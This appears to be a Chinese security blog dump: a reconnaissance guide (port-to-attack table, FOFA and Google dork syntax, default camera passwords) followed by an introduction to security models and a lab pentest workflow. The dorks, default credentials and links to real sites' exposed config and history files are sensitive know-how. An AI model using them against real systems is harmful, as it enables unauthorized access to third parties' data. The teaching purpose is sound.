SSL/TLS证书通常包含域名、子域名和邮件地址等信息,结合证书中的信息,可以更快速地定位到目标资产,获取到更多目标资产的相关信息. https://myssl.com/ https://crt.sh SSL证书搜索引擎 https://crt.sh/?Identity=%.moonsec.com https://censys.io/ 查找厂商ip段http://ipwhois.cnnic.net.cn/index.jsphttp://ipwhois.cnnic.net.cn/index.jsp 常见端口常见端口端口服务漏洞21/69ftp/tftp:文件传输协议1. 爆破2. 嗅探溢出3. 后门4. 匿名访问22SSH爆破、OpenSSH漏洞23telnet:远程连接爆破、嗅探25SMTP邮件服务弱口令、未授权访问、邮件伪造53DNS:域名系统1. DNS区域传输2. 劫持3. 缓存投毒4. 隧道技术穿透防火墙80/443/8080Web1. 常见Web攻击2. 控制台爆破3. 对应服务器版本漏洞80/8080Apache/Tomcat/Nginx/Axis21. 爆破:弱口令(爆破Tomcat manager后台)2. HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响3. 解析漏洞80/81/443IIS1. PUT写文件:利用IIS漏洞,PUT方法直接将文件放置到服务器上2. 短文件名泄露:这种一般没啥影响3. 解析漏洞:详细见Apache服务110POP3弱口令123NTPntp放大攻击137/139samba1. 爆破:弱口令2. 未授权访问:给予Public用户高权限3. 远程代码执行漏洞:CVE-2015-0240等等143imap弱口令161snmp爆破public弱口令389ldap1. 注入攻击:盲注2. 未授权访问3. 爆破:弱口令443Https心脏滴血445SMB溢出漏洞ms17-010873rsync未授权访问1080socket爆破:进行内网渗透1098JavaRmi命令执行1352Lotus1. 爆破:弱口令控制台(admin password)2. 信息泄露:源代码3. 跨站脚本攻击1433MsSQL1. 爆破:使用系统用户登录2. 注入攻击1521Oracle弱口令2049NFS未授权访问2181Zookeeper未授权访问2222DADA虚拟主机2601Zebra默认密码3128squid空口令3306Mysql1. 爆破2. 拒绝服务3. 注入3389Windows远程连接(RDP)1.爆破:3389端口爆破工具2. Shift粘滞键后门3. 3389漏洞攻击4100SysBase弱口令4440rundeck弱口令4848glassfish1. 爆破:控制台弱口令2. 认证绕过5000sybase/DB21. 弱口令2. 命令注入5422/5432postgreSQL1. 缓冲区溢出2. 注入攻击3. 爆破:弱口令5900VNC默认端口:5900+桌面ID(5901;5902)攻击方式:1. 爆破:弱口令2. 认证口令绕过3. 拒绝服务攻击(CVE-2015-5239)4. 权限提升(CVE-2013-6886)5984CouchDB命令执行6082varnish未授权访问6379redis1. 弱口令2. 未授权访问7001WebLogic1. 爆破:弱口令 用户名密码一致2. Congsole后台部署Webshell3. Java反序列化4. SSRF嗅探内网5. 命令执行8000jdwp命令执行8069zabbix命令执行8080Apache/Tomcat/Ngin/Axis2/Jboss中间件1. 弱口令2. 命令执行8080Jboss默认端口8080其他端口:1098/1099/444/4445/8080/8009/8083/8093攻击方式:1. 爆破:弱口令(爆破Jboss系统后台)2. 远程代码执行3. Java反序列化8080GlassFish默认端口:http 8080IIOP:3700控制台4848攻击方式:1. 爆破:弱口令(对于控制台)2. 任意文件读取3. 认证绕过8080Resin攻击方式:1. 目录遍历2. 远程文件读取8080/8089Jenkins默认端口:8080、8089攻击方式:1. 爆破:弱口令(默认管理员)2. 未授权访问3. 反序列化漏洞8080Jetty默认端口:8080攻击方式:1. 远程共享缓冲区溢出8161activeMQ文件上传8649ganglia1. 未授权访问2. 信息泄露8980OpenNMS反序列化漏洞9080/9090WebSphere1. 弱口令2. 反序列化3. 文件泄露4. 控制台爆破9200/9300ElasticSearch1. 远程代码执行2. 未授权访问11211MemCache未授权访问27017/27018MongoDB1. 爆破2. 未授权访问50000SAP命令执行50010/50030/50070Hadoop1.未授权访问 2. 信息泄露3. 命令执行 fofa、zoomeye、quake、sumap、hunter、shodan 介绍: 他们是一款非常强大的搜索引擎,网络空间资产检索系统是世界上数据覆盖更完整的IT设备搜索引擎,拥有全球联网IT设备更全的DNA信息。探索全球互联网的资产信息,进行资产及漏洞影响范围分析、应用分布统计、应用流行度态势感知等。 https://fofa.info/https://fofa.info/ https://www.zoomeye.org/https://www.zoomeye.org/ https://quake.360.net/quake/#/indexhttps://quake.360.net/quake/#/index https://sumap.dbappsecurity.com.cn/https://sumap.dbappsecurity.com.cn/ https://hunter.qianxin.com/https://hunter.qianxin.com/ https://www.shodan.io/https://www.shodan.io/ 公共字段首先是大家都共有的字段搜索 字段名称 字段说明 title 网站标题 body 正文,或者说响应体 cert 证书内容 ip ip或ip段 port 端口 protocol 协议 server http headers里面的Server字段 base_protocol 传输层协议 os 系统 asn 自治域号码 status_code web状态码 icon_hash 图标hash region 地区 app 应用指纹 FOFA基础语法 逻辑连接符 具体含义 = 匹配,=””时,可查询不存在字段或者值为空的情况 == 完全匹配,==””时,可查询存在且值为空的情况 && 与 != 不匹配,!=””时,可查询值为空的情况 ~= 正则语法匹配专用(高级会员独有,不支持body) () 确认查询优先级,括号内容优先级最高 title网站标题 title="beijing" 从标题中搜索“北京” body页面内容 body可以通过页面中包含的特定字符串来搜索资产.body="网络空间测绘" 从html正文中搜索”网络空间测绘” domain域名 domain="qq.com"搜索根域名带有qq.com的网站 实战-FOFA根据地区搜索 country="CN"搜索指定国家(编码)的资产 region="Xinjiang"搜索指定行政区的资产 city="bejing"搜索指定城市的资产 排除地区方法使用 != 例如在通过domain搜索资产的时候会有香港的服务器,那如何排除香港的服务器?domain="12306.cn" && region!="HK" 通过语法组合进行筛选,&&表示左右2个条件都需要满足,左边条件为包含12306.cn域名的资产,右边条件 则为地区不等于HK,HK表示香港。这样就能够帮我们定位到不包含香港服务器的资产。 通过组合条件使搜索更加精准 (domain="12306.cn" && region!="HK") && body="12306"搜索12306.cn域名排除香港的资产列表,并且body中包含12306 实战-通过使用”FOFA规则列表”搜索CMS资产 搜索:CMS:WordPress FOFA语法:**app=”wordpress” **这样全网使用”wordpress”的资产全部被搜索出来。 有时我们搜索产品的时候可能需要指定对应的版本号进行搜索,但是fofa内置的应用规则中绝大部分是不支持指定版本号进行搜索的,此时可以通过提取页面中的特征来进行定位 discuz论坛现在确定Discuz! x3.4版本存在sql注入漏洞.那如何定位Discuz! x3.4版本的资产呢? 在论坛首页中,查看源代码可以看到对应的版本信息。页面中的信息我们可以通过body参数检索。 构造搜索条件:app="Tencent-Discuz" && body="Discuz! X3.4"搜索中国台湾地区所有的Discuz! X3.4论坛app="Tencent-Discuz" && body="Discuz! X3.4"&& region="TW"网络摄像头"JAWS" && icon_hash="90066852":这个JAWS的默认密码是 无密码 || 111111 || 666666 || 888888"DVRDVS-Webs"海康威视摄像头弱口令测试:超级用户:admin超级用户:123456 123456789101112131415161718# 其他示例#搜索HTTP响应头中含有“thinkphp”关键词的网站和IPheader="thinkphp"#搜索页面标题中含有“后台管理”关键词的网站和IPtitle="后台管理"#搜索html正文中含有“管理后台”关键词的网站和IPbody="管理后台"#搜索根域名中带有“itellyou.cn”的网站domain="itellyou.cn"#搜索域名中带有"login"关键词的网站host="login"#搜索开放3388端口并且位于中国的IPport="3388" && country=CN#搜索指定IP或IP段ip="120.27.6.1/24"ip="120.97.56.1"#搜索同时开启3306端口、443端口和22端口的IPports="3306,443,22" 需要注意的是fofa语句不是一成不变的,同一个目标单位的查询关键词可能有好几个,同时在信息收集的过程中也可能发现新的关键词,比如备案号、传真、客服电话等,这些东西往往是唯一的。搜索别人没有搜的关键词就可能发现别人没发现的资产,就可能拿到别人没拿到的shell,需要灵活运用。 Google搜索引擎使用技巧我们通常使用搜索引擎都是直接搜索自己想要的内容,正常情况下我们都是直接使用语言进行描述问题 来进行搜索,然后搜索引擎也有特定语法可以使用,熟练掌握搜索引擎的语法可以让你的搜索效率和准确率 大幅度提升,当然我们学习这种技巧是为了寻找存在漏洞的页面,或者存在敏感信息的文件 Google常用语法说明 内容 解析 site 指定域名 inurl URL中存在的关键字页面 intext 网页内容里面的关键字 Filetype 指定文件类型 intitle 网页标题中的关键字 link 返回你所有的指定域名链接 info 查找指定站点信息 cache 搜索Google里的内容缓存 1234567891011121314151617181920212223242526# 例子:“xxxx”:将要搜索的关键字用引号括起来(表示完全匹配,即关键词不能分开,顺序也不能变)+: site:jiangjiyue.com +baidu.com # 搜索xxx与baidu.com相关的内容-:site:jiangjiyue.com -baidu.com # 搜索结果里面去除baidu.com相关的内容intext: xx # 查找网页中含有xx关键字的网站例:intext:管理员登录intitle: xx # 查找某个标题例:intitle:后台登录filetype:xx # 查找某个文件类型的文件例:filetype:docinurl:xx # 查找url中带有某字段的网站 例:inurl:php?id=?id=site:xx # 在某域名中查找信息例:site www.jiangjiyue.com 例一intitle:index.of .bash_history(linux历史命令) .bash_history表示我们要筛选的文件名称,也可以替换成其他的敏感信息文件,该文件记录了用户的历史命令记录 http://www.lamardesigngroup.com/homedir/http://www.lamardesigngroup.com/homedir/ 例二查找mysql的配置文件my.cnf intitle:index.of my.cnf https://www.artila.com/download/9200/Linux/Utility/mysql-all/mysqld/etc/https://www.artila.com/download/9200/Linux/Utility/mysql-all/mysqld/etc/ 例三查找discuz论坛中存储mysql密码的配置文件:config_global.php intitle:index.of config_global.php 例四cache:12306.cn cache返回的结果是被搜索引擎收录时的页面,比如一些页面被删除了,我们通过cache还是可以访问。 例五Kali filetype:torrentKali是我们要搜索的关键字,至于同学们关心什么奇怪的内容老师就不知道了。 filetype指定文件类型torrent文件类型名称,torrent是种子文件,可以填写任意扩展名。 例七intext:user.sql intitle:index.of 组合使用技巧 intext:user.sql查询包含user.sql用户数据库信息的页面 intitle:index.of表示网站目录是开放状态. 我们可以看到有很多页面都包含了敏感信息 https://castle.eiu.edu/~pingliu/php/sql/https://castle.eiu.edu/~pingliu/php/sql/ 常见最新漏洞公布网站http://www.exploit-db.comhttp://www.exploit-db.com http://www.exploit-db.com/http://www.exploit-db.com/ http://www.securityfocus.comhttp://www.securityfocus.com http://www.cnvd.org.cn/http://www.cnvd.org.cn/ http://www.nsfocus.nethttp://www.nsfocus.net https://www.securitylab.ru/vulnerability/https://www.securitylab.ru/vulnerability/ http://cve.mitre.orghttp://cve.mitre.org http://vulhub.org.cn/indexhttp://vulhub.org.cn/index https://www.anquanke.com/https://www.anquanke.com/ https://nvd.nist.gov/https://nvd.nist.gov/ https://www.seebug.org/https://www.seebug.org/ Github信息泄露监控https://github.com/0xbug/Hawkeyehttps://github.com/0xbug/Hawkeye https://github.com/MiSecurity/x-patrolhttps://github.com/MiSecurity/x-patrol https://github.com/VKSRC/Github-Monitorhttps://github.com/VKSRC/Github-Monitor https://github.com/search/advancedhttps://github.com/search/advanced 12# 如搜索包含 aliyuncs 和 password 的代码:aliyuncs password 资产收集神器 https://jiangjiyue.github.io/2024/02/04/466824cf/https://jiangjiyue.github.io/2024/02/04/466824cf/","tags":["信息安全","信息收集","渗透测试"]},{"title":"Security-全方位探索网络安全","path":"/2024/02/12/7564e3ff/","content":"总字符数: 17.24K 代码: 无, 文本: 14.25K 预计阅读时间: 1.03 小时 信息、信息安全以及网络安全的基本概念信息 1948年,数学家香农在题为”交流数学理论”的论文中指出:”信息是用来消除随机不确定性的东西.“,宇宙中所有事物的最基本的创造单位是信息. 信息:指音频、消息、通信系统中传输和处理的对象,是指人类社会传播的一切内容.(本身是无形的,可以寄存在纸张、大脑记忆、磁盘等.) 信息的功能:它可以减少事物的不确定性.(可以理解为事物本身和外部环境的互动关系). 消息:消息用于广泛的应用中.新鲜事物被称为消息.(消息是信息的笼统概念,信息则是消息的精确概念.) 数据:数据是信息的符号表示或者称为载体;信息是数据的内涵,是数据的语义解释.(密码本身是一串数据无价值,但是赋予它某个平台,它就是一条有用的信息.) 信息技术 信息技术(Information Technology , IT),是用于管理和处理信息所采用的各种技术的总称.(一般用在计算机科学和通信技术来设计、开发、安装和实施信息系统及应用软件.) 信息技术的发展: 第一阶段:电讯技术的发明(电磁技术的发展,贝尔(Bell)发明电话机) 第二阶段:计算机技术的发展 (电子管计算机,主要运用于军事处理) 第三阶段:互联网的使用(计算机网络发展成为全球性网络——因特网Internet) 第四阶段:网络社会(云计算,物联网进入各行各业,与人类社会息息相关) 信息安全 信息安全就是信息本身的安全(无关乎是否应用了计算机作为信息处理的手段). 在网络基础上指信息网络的硬件、软件及其系统中的数据受到保护不受偶然的或者恶意的原因而遭到破坏、更改、泄露以及系统连续可靠正常地运行,信息服务不中断. 在商业经济领域上指信息的完整性,保密性,不可否认性等. 信息安全是一门涉及计算机科学、 网络技术、 通信技术、 密码技术、 信息安全技术、应用数学、数论、信息论等多种学科的综合性学科. ISO(国际标准化组织)的定义为: 为数据处理系统建立和采用的技术、管理上的安全保护,为的是保护计算机硬件、软件、数据不因偶然和恶意的原因而遭到破坏(涉及可用性),更改(涉及完整性)和泄露(涉及机密性). 这里面既包含了层面的概念,其中计算机硬件可以看作是物理层面,软件可以看作是运行层面,再就是数据层面;又包含了属性的概念. 网络安全 网络安全(Cyber Security):网络系统的硬件、软件及系统中的数据受到保护,不因偶然的或者恶意的原因而遭到破坏、篡改、泄露,系统连续可靠正常地运行,网络服务不被中断。 网络安全和信息安全的区别 包含和被包含的关系:信息安全包含网络安全,信息安全还包括操作系统安全、数据库安全、硬件设备和设施安全、物理安全、人员安全、软件开发、应用安全等。 针对的设备不同:网络安全侧重于研究网络环境下的计算机安全,信息安全侧重于计算机数据和信息的安全。 侧重点不同:网络安全更注重在网络层面,比如通过部署防火墙、入侵检测等硬件设备来实现链路层面的安全防护,而信息安全的层面要比网络安全的覆盖面大的多,信息安全是从数据的角度来看安全防护。 通常采用的手段包括:防火墙、入侵检测、代码审计、渗透测试、风险评估等,安全防护不仅仅是在网络层面,更加关注的应用层面,可以说信息安全更贴近于用户的实际需求及想法 网络空间网络空间具有网络安全威胁高隐蔽性、网络安全技术高密集性、网络安全控制地理区域不可限制性、网络安全防护时间不可区分性、网络攻防严重非对称性的特点。 2016年国家发布了《国家网络空间安全战略》 2017年6月1日实施《中华人民共和国网络安全法》 信息系统 信息系统是具有集成性的系统,每一个组织中信息流动的总和构成一个信息系统.是输入、处理、输出的综合体. 信息系统的安全分为: 设备安全 数据安全 内容安全(符合法律法规) 行为安全(强调的是软硬件工作) 过程的安全(保证系统的安全可控) 从安全模型理解信息系统安全 ​ 本质上讲,网络安全就是网络上的信息安全,是指网络系统的硬件、软件和系统中的数据受到保护,不受偶然的或者恶意的攻击而遭到破坏、更改、泄露,系统连续可靠正常地运行,网络服务不中断。 ​ 广义上讲,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全所要研究的领域。 扩展在信息安全领域,经过长期的实践和研究总结出了CIA三元组概念.它们是信息安全的基本原则,用来确保数据和系统的安全性、完整性和可信度实践经验:长期以来,信息安全专业人员在保护数据和系统方面积累了丰富的经验。通过观察实际案例、分析攻击手段和漏洞,他们发现了保密性、完整性和可用性对于信息安全的重要性。学术研究:学术界对于信息安全领域进行了深入的研究,探索了各种安全威胁和防御机制。在这个过程中,研究者们逐渐发现了保密性、完整性和可用性作为信息安全的核心概念,并将其提出。标准和框架:国际组织和标准化机构(如ISO、NIST等)为信息安全制定了一系列标准和框架。这些标准和框架强调保密性、完整性和可用性的重要性,并将其作为信息安全管理的核心原则。 信息安全的概念 保密性(CONFIDENTIALITY):确保数据和信息只能被授权的人或实体访问和查看。通过使用加密技术、身份验证和访问控制等方法,防止未经授权的访问和泄露。 完整性(INTEGRITY):确保数据和信息在传输、存储和处理过程中不被篡改、损坏或修改。使用数据校验和完整性验证机制,如哈希函数、数字签名和访问日志等,以保证数据的完整性。 可用性(AVAILABILITY):确保系统和服务在需要时可用和正常运行。通过实施冗余和备份策略、灾备计划、故障恢复机制等,以提供持续的可用性和业务连续性。 可控性(CONTROLLABILITY):确保对系统和资源的访问和操作可以被有效地管理和控制。通过实施访问控制、权限管理、审计跟踪和安全策略等措施,确保只有授权的用户可以进行合法的访问和操作。 不可否认性(NON REPUDIATION):确保发送方和接收方都无法否认已发送或接收到的数据或交互行为。通过使用数字签名、时间戳和审计跟踪等技术手段,可以提供不可抵赖的证据,防止交易和操作的双方否认其行为。 保密性(confidentiality)与Integrity(完整性)和Availability(可用性)并称为信息安全的CIA三要素 这三个特性被选定为CIA三元组的原因相互独立:保密性、完整性和可用性是相互独立的概念,每个特性都关注信息安全的不同方面。保密性关注数据的机密性和访问控制,完整性关注数据的完整性和防止篡改,可用性关注系统和服务的可用性和正常运行。它们共同构成了一个全面的信息安全框架。平衡性:保密性、完整性和可用性之间存在一种平衡关系。在信息安全管理中,需要权衡这三个特性,以满足组织的安全需求。例如,过于强调保密性可能会降低可用性,过于强调可用性可能会牺牲保密性等。因此,将它们作为三元组,有助于我们在信息安全设计和实现中找到适当的平衡点。综合性:保密性、完整性和可用性涵盖了信息安全的核心要素。除了这三个特性之外,还有其他特性如真实性、不可抵赖性等,但它们通常可以被归类为保密性、完整性和可用性的子属性。因此,CIA三元组提供了一个全面而简洁的框架,使我们能够系统地考虑信息安全的关键方面。综上所述,保密性、完整性和可用性之所以被选定为CIA三元组,是因为它们相互独立、平衡且综合地涵盖了信息安全的核心要素。这个三元组框架在实践中被广泛接受,并成为设计和评估信息安全措施的基础。 安全思维模型一:CIA Triad CIA Triad原则就是一切的攻防手段都是围绕着保密性(C)、完整性(I)、可用性(A)三原则展开的。 保密性:【保密性实际上是它的本质就是信息越界】这个边界实际上是有两类:一:时间边界;二:空间边界。时间边界就是说还没到那个时间点,他提前给放出来。比方说我们说高考试卷,每年的高考语文试卷不到6月7号上午9点,九点之前你弄出来了,这就是一个重大的泄密。再说空间边界,这个信息从你的内网跑到外网去了,从本来是只能张三李四知道是变成了王五知道。这就是一个跨越了空间的边界,信息它跨越了非授权、非受控的空间边界,它就是一种信息的泄密,保密性遭受破坏。 完整性:【完整性是指信息的它原本的状态,系统的原本的结构和组成】如果说这信息它原本的状态发生了变化,它比方说从1变成了2,它的组成是从无到有或是结构要素的位置发生了变化、或比例发生了变化,这导致了完整性遭受破坏。 可用性:这一点比较好理解,就是【我需要的时候,这个系统或信息能够去在合理的时间之内获得,就是可用性】这就是所谓的我们说的CIA这个模型. 这三个属性用来确保信息的合法性和可信度 “DAD”模型是一种用于描述和分析数据安全性风险的模型。它关注的是攻击者对数据进行篡改、破坏或泄露的能力和方式,以及这些威胁对数据完整性、可用性和保密性的影响。通过建立”DAD”模型,可以评估数据安全风险,制定相应的安全策略和措施来保护数据。 “DAD”模型通常包含以下几个要素: 数据篡改(Data Alteration):指未经授权的修改或变更数据的内容,可能导致数据不准确、不完整或误导性。 数据破坏(Data Destruction):指对数据进行有意的破坏或删除,使其无法再被使用或恢复。 数据泄露(Data Disclosure):指未经授权的披露或泄露敏感数据,可能导致隐私泄露或其他潜在风险。 安全思维模型二:访问控制模型 大部分的攻击最终都是为了获取相关权限,很多手段都是围绕去获取受害者的身份信息和验证信息(比如密码)。这个模型当中,发起访问的一方就是访问主体,被访问的那方就叫做客体。整个访问就会产生信息流。 在任何一个访问控制系统中,都包含以下四个行为: 身份标示:访问主体在一个确定边界的系统范围被给予唯一的标示,解决你是谁的问题; 身份验证:对访问主体需要做基本的身份验证,解决你宣称就是谁谁谁的问题。 授权:用户身份验证通过后,需要确定用户可以访问哪些资源,以及对资源进行怎样的操作(读、写、删除等)。解决用户能做什么的问题。 审计:对用户的访问行为都记录在案,以备事后追责或改进系统。 安全思维模型三:边界与隔离模型边界和隔离是安全防御的第一手段; 边界与隔离模型是指在网络和系统设计中采用边界和隔离机制来保护系统免受外部攻击和内部滥用。这些模型包括网络边界防火墙、网络分段、虚拟专用网络(VPN)、沙箱环境等,通过划定边界和实施隔离措施,限制不同区域之间的访问和通信,提高系统的安全性。 无论是我们所说远古的长城还是到现在的墨西哥和美国边境之间的隔离墙,边界和隔离都是非常有效的一种最古老、最朴素的技术手段,到现在还在运用。划定边界,以界隔离,大道至简。 安全思维模型四:恶意行为攻击模型 安全思维模型五:风险管理模型 风险识别:这个环节旨在识别和确定潜在的安全风险。通过对组织内外的各种因素进行分析和调查,包括系统漏洞、侵入方式、业务过程等,以识别可能导致安全事件发生的风险源。 风险分析:在风险分析环节,对已经识别出来的风险进行深入分析。这包括评估风险发生的概率、影响程度、持续时间等方面。通过对风险的综合分析,可以得出每个风险的相对优先级,以便在后续的决策过程中进行排序和处理。 风险评估:这一环节旨在对已经分析出来的风险进行定量或定性评估。根据组织的风险承受能力和目标,可以为每个风险分配一个合适的风险等级。评估结果可用于决策制定、资源分配和风险处理的参考。 风险应对:在这个环节中,基于前面的风险评估,制定相应的风险应对策略和措施。这可能包括预防措施(如加强安全培训、修补漏洞)、应急响应计划、备份和恢复策略等。风险应对旨在减轻或消除风险的影响,并防止未来的风险事件发生。 风险管理模型是一种用于评估和管理安全风险的框架或方法,它包括一系列环节,如风险识别、风险分析、风险评估和风险应对等。通过使用风险管理模型,组织可以更好地理解和评估可能对其安全目标造成威胁的各种风险,并制定相应的风险控制策略和措施。 安全思维模型六:安全生命周期模型 ​\t安全生命周期模型(Security Development Lifecycle):安全生命周期模型强调在软件和系统开发过程中整合安全性,包括需求分析、设计、开发、测试和维护等阶段,确保产品的安全性能和可靠性。 介绍靶场渗透实战什么是靶场? ​\t在网络安全领域,靶场指的是模拟真实网络环境、用于进行安全演练、攻击模拟和安全测试的特定环境或系统。靶场提供了一个安全的环境,使安全专业人员能够模拟真实的攻击场景,并测试不同防御策略和技术 靶场可以用于多种目的,包括以下几个方面: 安全演练:靶场模拟各种攻击场景,例如网络入侵、恶意软件感染等,使安全团队能够实时进行应急响应和事件处置的演练,提高应对突发安全事件的能力。 攻击模拟:通过模拟真实的攻击行为,例如渗透测试、红队演练等,安全专业人员可以评估目标系统的安全性,并找出潜在的漏洞和弱点,从而改进和加强防御措施。 安全研究与学习:靶场提供了一个安全的环境,供安全研究人员和学生学习和研究各种安全技术和攻击手法,加深对网络安全的理解和认识。 靶场可以是物理的、虚拟的或混合的环境,可以包括真实网络设备、虚拟机、网络模拟器等。为确保安全,靶场应该被隔离在独立的环境中,以防止攻击对其他系统和网络造成影响。同时,在使用靶场进行测试和演练时,必须遵守法律法规,并获得合法的授权 为什么进行靶场渗透实战?靶场渗透实战对于安全专业人员的成长和技能提升至关重要 靶场渗透实战的优点 实际操作经验:靶场渗透实战提供了真实且可控的环境,在这个环境中进行操作可以使学习者深入了解攻击和防御技术。通过实际操作,他们可以学习到不同类型的漏洞和攻击手法,了解如何利用这些漏洞,以及如何有效地捕捉和分析攻击流量。 安全意识培养:通过参与靶场渗透实战,学习者将被直接暴露在模拟的攻击环境中。他们有机会亲自感受到攻击造成的影响,并从中认识到安全问题的重要性。这种体验可以有效地提高他们对网络安全的关注度和理解能力,培养出积极主动的安全意识。 深入了解安全漏洞:靶场渗透实战提供了一个模拟的系统和网络环境,使学习者能够全面了解各种安全漏洞和弱点。他们可以主动寻找和利用这些漏洞,了解它们的工作原理和可能导致的风险。这种深入了解能够让学习者更好地规划和实施安全措施,提高整体的网络安全性。 团队协作与合作能力:靶场渗透实战通常需要多人合作完成。学习者要团结合作,共同攻克难题。这样的实战训练不仅可以培养他们的团队协作和沟通能力,还能锻炼问题解决能力和决策能力。 增强解决问题的能力:靶场渗透实战对学习者的解决问题的能力提出了较高的要求。在实际操作中,学习者需要分析和评估系统的漏洞和脆弱点,并设计并执行相应的攻击和防御策略。这种思考和解决问题的能力是靶场渗透实战的重要收获,也是学习者在实际工作中非常宝贵的技能。 将靶场实战与安全模型相结合网络安全测试流程当进行网络安全测试时,我们通常会按照以下流程进行。 前期交互阶段,这包括确定目标IP地址以及与客户进行沟通和了解需求。 信息收集阶段,在这个阶段我们使用工具如nmap和arp-scan进行扫描,收集有关目标系统和网络的信息。 威胁建模阶段,我们根据收集到的信息和端口情况制定一个攻击路线和威胁模型。 漏洞分析阶段,我们根据攻击路线逐一分析系统和网络是否存在漏洞,并进行相应的POC(Proof of Concept)收集。 完成漏洞分析后,我们进入渗透攻击阶段,使用合适的exploit工具来获取目标系统的访问权限。 后渗透攻击阶段,我们通过提权等方式进一步获取root权限并维持权限,同时进行日志清理等操作以隐藏我们的痕迹。 渗透测试报告阶段,我们将整个测试过程的发现整理成报告,提供给客户以供参考和修复漏洞。 其实上面的流程就是来自于一个被广泛接受的标准是PTES,即Penetration Testing Execution Standard。它提供了一个全面的方法论来指导渗透测试的执行。PTES帮助测试团队按照一致的流程和标准进行工作,以确保测试的质量和实用性 靶场渗透测试实战简介在接下来我们要演示的DC3靶场中,我们将使用一系列工具和技术来进行渗透测试,包括主机存活检测、端口服务扫描、网站指纹收集、漏洞扫描、SQL注入、John密码破解、Webshell连接以及内核提权。 主机存活检测: 使用网络工具(如ping、ICMP)确认目标主机是否在线。主机存活检测是渗透测试的第一步,在攻击之前需要先确认目标是否可达。 端口服务扫描: 使用端口扫描工具(如nmap)扫描目标主机上开放的网络服务。通过识别开放的端口和服务,我们可以了解目标系统的架构和可能存在的潜在漏洞。 网站指纹收集: 通过检查目标网站的HTTP响应头、元数据等信息,收集网站的特征和版本信息。这有助于我们针对特定漏洞或弱点进行更有针对性的渗透测试。 漏洞扫描: 使用专业的漏洞扫描工具(如Nessus、OpenVAS)对目标主机进行扫描,以发现已知的安全漏洞。漏洞扫描帮助我们识别系统中存在的脆弱点,并为后续的攻击提供目标。 SQL注入: 利用对数据库进行恶意操作的漏洞,尝试执行恶意SQL语句,以获取数据库中的敏感信息。SQL注入是常见的网络应用程序漏洞之一,渗透测试中需要重点关注和利用。 John密码破解: 使用密码破解工具(如John the Ripper)对明文或散列密码进行破解。通过猜测密码或破解散列值,我们可以获取系统用户的凭据,进而获取更高的访问权限。 Webshell连接: 通过漏洞攻击或弱密码等方式获取Web服务器的权限,并建立与服务器的远程shell连接。Webshell是一个常用的攻击手段,可让我们远程执行命令和操纵目标系统。 内核提权: 利用漏洞或配置错误来提升对系统的访问权限,获取管理员或Root级别权限。内核提权是渗透测试中的高级技术,通过利用操作系统的漏洞来获取最高权限。 DC3-WriteUP 安全问题的重要性大家可以思考一下,在我们刚刚的实战过程中 获取了哪些信息?这是答案1得到了哪些权限?这是答案2哪些是因为配置不当造成的这是答案3哪些是因为未及时更新造成的这是答案3 这些所有简单的问题其实都是我们的安全问题,由此可见安全问题的重要性 保护机密信息:许多安全问题涉及到保护敏感信息的机密性和完整性。如果未经授权的人员可以访问或修改敏感信息,那么可能会导致数据泄露或其他严重后果。 防止黑客攻击:根据安全行业的普遍认知,黑客在攻击一个目标之前通常会尝试利用一些已知的漏洞,或通过社交工程等方式攻击目标的弱点。了解并识别这些攻击向量,能够帮助我们在保护我们的系统免受黑客攻击的同时,提高我们的安全意识。 减少业务风险:安全问题可能会导致数据丢失、数据泄露、破坏业务连续性等问题,这些问题可能会带来巨大的财务和声誉损失。因此,了解各种安全问题的重要性,并采取相应的安全措施来优化安全威胁的效果,可以减少业务风险。 安全问题 - 弱密码 ​\t弱密码是指易于猜测、推测或破解的密码,由于其缺乏复杂性、长度和随机性,容易受到各种攻击方式的威胁。以下是弱密码可能带来的危害: 安全性降低:弱密码容易被猜测或通过暴力破解等手段获取,这将导致用户帐号和系统的安全受到威胁。攻击者可以通过获得弱密码来越过访问控制,进而盗取个人信息、进行未经授权的活动,甚至入侵整个系统。 越权访问和数据泄露:使用弱密码的用户可能会被攻击者盗取其帐号,进而获取越权访问权限。攻击者可以利用这些权限访问敏感信息、私人数据和财务记录,从而导致数据泄露和隐私泄露问题。 被挟持和滥用:弱密码使用户更容易受到社会工程学攻击,例如钓鱼、密码重置和身份欺诈等。攻击者可以通过伪装成合法机构或服务提供商,引诱用户输入其登录凭据,从而控制用户帐号并进行滥用。 影响他人安全:如果用户在多个平台或服务中使用相同的弱密码,一旦其中一个帐号被攻破,攻击者就可以尝试在其他地方重复使用相同的凭据。这将给其他用户和相关系统带来潜在的安全威胁和风险。 企业和组织受损:在企业环境中,如果员工使用弱密码来保护企业资产和系统,企业可能面临数据泄露、业务中断、声誉受损等严重后果。此外,弱密码也给企业的安全管理和合规性带来挑战。 对应的安全模型:访问控制模型 弱密码与访问控制密切相关:弱密码可能导致未经授权的访问系统和资源。访问控制模型是确保只有授权用户可以访问系统和资源的机制,因此弱密码直接涉及访问控制问题。 弱密码影响身份验证:弱密码容易被猜测、破解或使用暴力攻击进行登录尝试。身份验证是访问控制的核心组成部分,而弱密码会直接影响身份验证的有效性和安全性。 访问控制模型解决弱密码问题:访问控制模型通过权限管理、身份验证和授权机制等手段限制用户对系统和资源的访问权限。弱密码是访问控制模型需要解决和管理的问题之一。 解决和预防弱密码问题 强制密码策略:实施一套强制的密码策略,包括要求密码长度、复杂性(如数字、字母和特殊字符的组合)、定期更换密码等。这将提高密码的复杂性并降低猜测或破解密码的风险。 多因素身份验证(MFA):采用多因素身份验证机制,例如结合密码与手机验证码、指纹识别、硬件令牌等。即使密码被破解,攻击者也无法通过第二个因素进行验证。 教育和培训用户:提供密码安全的教育和培训,教育用户选择强密码、避免使用常见的密码、不共享密码等好的安全实践。 密码管理工具:推荐用户使用密码管理工具来生成和管理强密码。这些工具能够自动生成随机且强大的密码,并将其加密保存在一个安全的数据库中。 定期审查密码:定期对系统和用户的密码进行审核,检查是否存在弱密码并提醒用户修改。管理员可以使用密码破解工具或密码策略审核工具来辅助识别弱密码。 锁定账户和限制登录尝试:实施账户锁定机制,当用户连续多次登录失败时,暂时锁定账户,以防止恶意攻击者进行暴力破解密码。 使用单点登录(SSO)和身份提供商(IdP):通过使用SSO和IdP,可以减少用户需要记住的密码数量,从而降低弱密码问题的风险。 安全问题 – 漏洞利用 ​\t漏洞利用(Vulnerability Exploitation)是指攻击者利用软件、系统或网络中的漏洞,通过输入特定的数据或执行恶意代码等手段,成功入侵目标系统或获取未经授权的权限。 